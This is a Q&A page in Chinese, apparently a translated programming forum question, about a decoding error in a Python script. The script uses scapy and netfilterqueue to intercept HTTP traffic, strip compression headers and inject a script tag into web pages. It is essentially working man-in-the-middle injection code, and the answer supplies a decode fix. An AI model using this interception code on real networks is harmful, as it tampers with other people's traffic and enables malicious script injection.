首页 > 解决方案 > 如何将“scapy_packet [scapy.Raw] .load”中的数据解码为字符串以进行修改?

问题描述

我正在尝试编写一个将小脚本插入网页的程序,之前</body>。但是存储在 scapy_packet [scapy.Raw] .load 中的数据是字节类型。我正在尝试将它们解码为字符串,但总是出现错误:

文件“code_injector.py”,第 21 行,在 process_packet load = load.decode('utf-8') UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe7 in position 0: invalid continuation byte

这是我的代码:

import netfilterqueue
import scapy.all as scapy
import re


def set_load(packet, load):
    packet[scapy.Raw].load = load

    del packet[scapy.IP].chksum
    del packet[scapy.IP].len
    del packet[scapy.TCP].chksum
    return packet


def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.Raw):
        load = scapy_packet[scapy.Raw].load     # load = scapy_packet[scapy.Raw].load.decode()
        load = load.decode('utf-8')     # load = load.decode('utf-8', 'ignore')
        if scapy_packet[scapy.TCP].dport == 80:    #HTTP only

            print("This is REQUEST")
            load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
            # print(scapy_packet.show())

        elif scapy_packet[scapy.TCP].sport == 80:

            print("This is RESPONSE")
            load = load.replace("</body>", "<script>alert('test');</script></body>")
            # print(scapy_packet.show())

        if load != scapy_packet[scapy.Raw].load:
            new_packet = set_load(scapy_packet, load)
            packet.set_payload(bytes(new_packet))    # bytes, not string!

    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

我试图忽略该错误,但随后该站点将无法加载。

load = load.decode('utf-8', 'ignore')

其他编码(不是 utf-8)不起作用

我的 Python 是 Python 3.8

在 Python 2.7 上,scapy 不起作用。在 Python 3.9 上,netfilterqueue 不起作用。:-(

操作系统——卡利 Linux。

PS:搜索了足够的时间后,我认为问题出在两个开头的“0x”字符上。

PPS:对不起我的英语...

标签: pythonpython-3.xscapy

解决方案


readable_payload = bytes(packet[TCP].payload).decode('UTF8','replace')

此代码片段可用于解密简单的 HTTP 流量。


推荐阅读